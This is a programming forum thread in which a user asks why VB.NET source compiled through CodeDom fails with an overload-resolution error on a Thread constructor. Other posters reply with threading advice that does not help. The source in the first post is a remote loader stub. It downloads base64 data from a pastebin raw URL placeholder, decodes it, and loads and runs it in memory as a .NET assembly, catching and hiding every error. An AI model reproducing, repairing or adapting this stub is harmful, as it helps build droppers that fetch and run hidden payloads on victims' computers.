[loopy90]

Hello, I'm working on a program that uses codedom and in my source code I have this

PHP Code


<?php 
Dim t As New Thread(AddressOf DoExecute)
t.TrySetApartmentState(ApartmentState.STA)
t.Start(bytes) 


The Error "Overload resolution failed because no accessible 'New' can be called" Is thrown whenever I try to compile the codedom at what I would assume to be "Dim t As New Thread(AddressOf DoExecute)"

I've googled around and all the threads that I've read on it haven't helped, so please refrain from posting links.

Here is the entire code that I'm trying to compile with codedom.
Spoiler (Click to View)

PHP Code


<?php 
Imports System.Environment
Imports System.Reflection
Imports System.IO
Imports System.Threading
Imports Microsoft.VisualBasic
Imports System.Convert
Imports System

<Assembly: AssemblyTitle("Title")> 
<Assembly: AssemblyDescription("Description")> 
<Assembly: AssemblyCompany("Company")> 
<Assembly: AssemblyProduct("Product")> 
<Assembly: AssemblyCopyright("Copyright")> 
<Assembly: AssemblyTrademark("Trademark")> 
<Assembly: AssemblyVersion("1.0.0.0")> 
<Assembly: AssemblyFileVersion("1.0.0.0")> 

Module Module1
    Dim URL As String = "%PASTEURL%"

    Sub Main()
        Dim PasteURL() As String = Split(URL, "/")
        Dim Request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://pastebin.com/raw.php?i=" & PasteURL(3))
        Dim Response As System.Net.HttpWebResponse = Request.GetResponse()
        Dim SR As StreamReader = New StreamReader(Response.GetResponseStream)
        Dim base64b As String = SR.ReadToEnd
        Dim appbyte() As Byte = Convert.FromBase64String(base64b)
        Execute(appbyte)
    End Sub

    Public Sub Execute(ByVal bytes As Byte())
        Dim t As New Thread(AddressOf DoExecute)
        t.TrySetApartmentState(ApartmentState.STA)
        t.Start(bytes)
    End Sub

    Public Sub DoExecute(ByVal d As Byte())
        Try
            If d(&H3C) = &H80 Then
                Dim asm As Assembly = Assembly.Load(d)
                Dim entryPoint As MethodInfo = asm.EntryPoint
                Dim o As Object() = Nothing
                If entryPoint.GetParameters().Length > 0 Then
                    o = New Object() {New String() {"1"}}
                End If
                entryPoint.Invoke(Nothing, o)
            End If
        Catch
        End Try
    End Sub

End Module 


[+Haze]

If you are trying to use multi threading then..

Code

Dim thread As System.Threading.Thread
thread = New System.Threading.Thread(AddressOf DoExecute)
thread.Start()

If you get an error type in, Me.CheckForIllegalCrossThreadCalls = False
Should work If you do not use parenthesis.

[loopy90]

If you are trying to use multi threading then..

Code

Dim thread As System.Threading.Thread
thread = New System.Threading.Thread(AddressOf DoExecute)
thread.Start()

If you get an error type in, Me.CheckForIllegalCrossThreadCalls = False
Should work If you do not use parenthesis.

This still throws the same error

Code

Dim thread As System.Threading.Thread
thread = New System.Threading.Thread(AddressOf DoExecute)
thread.Start()

And where would you want me to use Me.CheckForIllegalCrossThreadCalls = False, would it be in the source that I'm compiling or in the compiler itself? Sorry just a bit unclear with what you said.

[NETExplorer]

This still throws the same error

Code

Dim thread As System.Threading.Thread
thread = New System.Threading.Thread(AddressOf DoExecute)
thread.Start()

And where would you want me to use Me.CheckForIllegalCrossThreadCalls = False, would it be in the source that I'm compiling or in the compiler itself? Sorry just a bit unclear with what you said.

The above user has no clue what he is talking about, refrain from using his advice.

[loopy90]

The above user has no clue what he is talking about, refrain from using his advice.

Thanks, I thought I would also add that this code compiles/runs perfectly fine If I'm using VS but when I try to compile with codedom it throws the error.